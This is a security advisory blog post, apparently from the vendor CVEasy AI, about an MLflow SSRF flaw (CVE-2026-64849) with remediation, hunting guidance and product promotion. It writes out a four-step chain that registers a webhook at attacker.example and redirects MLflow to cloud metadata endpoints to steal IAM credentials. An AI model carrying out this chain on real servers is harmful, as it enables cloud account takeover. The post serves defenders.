MLflow's webhook test endpoint hands attackers your cloud credentials
Within hours of CVE-2026-64849 being assigned on August 17, watchTowr's Attacker Eye honeypot network watched an unauthenticated POST arrive at an MLflow tracking server, then a redirect chain, then a plain-text IAM credential blob in the response. The endpoint the attackers hit is literally named /test.
Every MLflow before 3.15.0 ships that endpoint with no auth and a webhook validator that only guards the first URL you send. CISA added it to the KEV catalog on August 19. It scores 9.3 on CVSS 3.1, a score that crests queues but mis-triages the finding in both directions.
The endpoint that answers without asking who you are
MLflow's model registry lets you register webhooks that fire on model transitions. To help operators check the wiring, the tracking server exposes POST /api/2.0/mlflow/webhooks/{id}/test. That call sends a synthetic delivery to the registered URL and reflects the target's status and body inline in the HTTP response.
On a stock install, the endpoint takes no token, no session cookie, no header check. Anyone who can reach the tracking server on port 5000 can register a webhook, ask MLflow to test it, and read the target's response back. The optional authentication plugin exists; very few internet-facing MLflow servers on Shodan or Censys have it turned on. That is your attack surface: an HTTP proxy that fetches URLs on your behalf and returns the body.
A guard that only checks the front door
Version 3.10.0 added _validate_webhook_url(). It resolves the webhook hostname, checks the address against a blocklist of private ranges and cloud metadata IPs, and either allows or rejects. On paper, that stops the obvious attack: a webhook of http://169.254.169.254/latest/meta-data/ is rejected up front, so a naive SSRF payload never lands.
Two things break the guard, both documented in GHSA-7gwp-5pfp-969j. First, the resolved IP is never carried into the actual connection: validation runs against the URL, delivery runs against a fresh requests.Session that resolves DNS again and follows redirects. Second, the redirect handler only re-checks the original URL, never the redirect target. Anything the attacker's public HTTPS server returns as a Location header rides straight through.
Two exploit shapes fall out of that. A 302 to a private address gives a read primitive: MLflow follows, gets the body, hands it back through /test. A 307 or 308 preserves the POST method and body, so the same primitive becomes a blind write against internal HTTP APIs on the tracking server's network. DNS rebinding gets the read case without a redirect at all, because the two DNS lookups (validation, connect) happen milliseconds apart and can resolve to different addresses.
From a friendly test call to a stolen IAM role
The full chain against an AWS-hosted MLflow is four HTTP requests.
POST /api/2.0/mlflow/webhookswith{"url":"https://attacker.example/innocent",...}; validation resolves to a public IP, passes, and MLflow returns a webhook id.POST /api/2.0/mlflow/webhooks/{id}/test; MLflow callsattacker.example, which answers302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/.- MLflow follows, hits AWS IMDS, reads the role name, and follows a chained redirect to
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. - The response body, with
AccessKeyId,SecretAccessKey, andToken, is reflected back to the attacker inside the/testresponse.
GCP works the same way against metadata.google.internal with a 307 preserving Metadata-Flavor: Google, and Azure IMDS at 169.254.169.254 with Metadata: true. All three answer plain HTTP with no auth beyond a header a redirect can add. watchTowr's Attacker Eye caught this flow inside a day of the CVE going public, and multiple reports describe attackers using the stolen credentials to enumerate resources, mint new IAM users, and launch cryptomining EC2 instances.
How TRIS scores it against your real exposure
Two MLflow tracking servers, both showing CVE-2026-64849 at CVSS 9.3, can have completely different exposures. Server A sits on an EC2 instance with an unrestricted IAM role trusted by three other accounts and IMDSv1 still enabled. Server B runs on a laptop, no cloud role attached, no way to reach a metadata endpoint from its network position. CVSS calls them the same finding and a base-score queue puts both at rank one. TRIS, the Threat and Risk Intelligence Scoring engine inside CVEasy AI, decides this finding across four layers instead.
Exploitation. CISA KEV as of August 19, watchTowr honeypot captures inside a day of the CVE, VulnCheck scan telemetry corroborating. This layer sits at the top of the range: real active abuse, not a proof of concept sitting on a researcher's blog.
Exposure. Is the tracking server reachable from the internet or from a subnet an attacker can already touch? Shodan and Censys find internet-facing MLflow trivially. An internal-only instance can still qualify when the SSRF chain reaches a cloud metadata surface from the server's own network position, which is the common case in every managed VM setup.
Blast radius. What can the credentials the metadata service returns actually do? Read-only access to one S3 prefix is one story. A role with AdministratorAccess, or a role trusted by a cross-account CI pipeline, is a very different story. TRIS carries the IAM policy graph forward, so the same SSRF against two servers scores differently based on what the role at the other end can reach.
Contained. Is IMDSv2 enforced on the AWS side so the attacker needs a valid PUT to /latest/api/token first, which a plain redirect cannot supply? Is the tracking server behind an identity-aware proxy that strips unauthenticated requests before they hit /api/2.0/mlflow/webhooks/{id}/test? Contained lowers the tier without removing the finding, because the underlying bug is still present and one config drift away.
An exposed tracking server on an EC2 instance with an unrestricted role and IMDSv1 sits at the top ACT band. The same CVE on a stack with IMDSv2 enforced, no cross-account trust, and MLflow behind Cloudflare Access sits far lower. Same score in CVSS, opposite ends of the queue in TRIS, and the queue is right.
Upgrade to 3.15.0, rotate the role, hunt CloudTrail
Upgrade. Move MLflow to 3.15.0 or later. The fix in PR #24258 adds an SSRFProtectedHTTPAdapter at mlflow/webhooks/ssrf.py that calls sock.getpeername() immediately after the TCP connect and rejects any non-public peer before TLS or HTTP begins. Every redirect opens a fresh connection through the same protected pool, closing the 302 read path, the 307 write path, and the DNS rebinding TOCTOU together.
Rotate. If your tracking server was reachable and unpatched at any point after August 17, treat the instance profile as burned. Rotate the IAM access keys and session tokens the role could issue, the GCP service account keys or workload identity binding, the Azure managed identity, and every secret the instance was allowed to pull from a secrets manager. The window was open; do not wait for confirmed exfiltration in your logs.
Interim mitigation. If you cannot patch immediately, put the tracking server behind an identity-aware proxy that requires authentication before any request reaches /api/2.0/mlflow/webhooks/{id}/test. Enforce IMDSv2 on AWS with a hop limit of one. Egress-filter the server so it cannot reach 169.254.169.254, metadata.google.internal, or fd00:ec2::254.
Hunt. Grep MLflow access logs for POST /api/2.0/mlflow/webhooks creations and /test triggers from unfamiliar client IPs, especially in bursts. Correlate with CloudTrail for calls made by the instance role from source IPs other than the server's own public IP. New IAM users created by the role, new access keys minted, and unfamiliar EC2 launches under the same account are the observed follow-on activity.
How CVEasy AI surfaces this
CVEasy AI is the number one local-first Continuous Threat Exposure Management (CTEM) platform. It ingests the real sources for this event on release (the MLflow GHSA advisory, PR #24258, the CISA KEV addition, watchTowr's honeypot telemetry) and runs TRIS against the inventory it holds on your hardware: which MLflow versions are running, on what cloud, with what instance profile attached, and whether IMDSv2 is enforced. It answers the question that decides your week: which of my MLflow servers is in the top ACT band right now, what does the role at the other end of the metadata service touch, and what do I rotate first. Your inventory, your IAM policy graph, and your CloudTrail hunts stay on your hardware while TRIS does the arithmetic. That is what local-first CTEM means, and CVE-2026-64849 is the class of finding it exists to answer.
Sources: MLflow security advisory GHSA-7gwp-5pfp-969j, PR #24258 fix (SSRFProtectedHTTPAdapter), GitHub Advisory Database CVE-2026-64849, CISA KEV addition, August 19, 2026, watchTowr Attacker Eye announcement, The Hacker News, Cybersecurity News, Decipher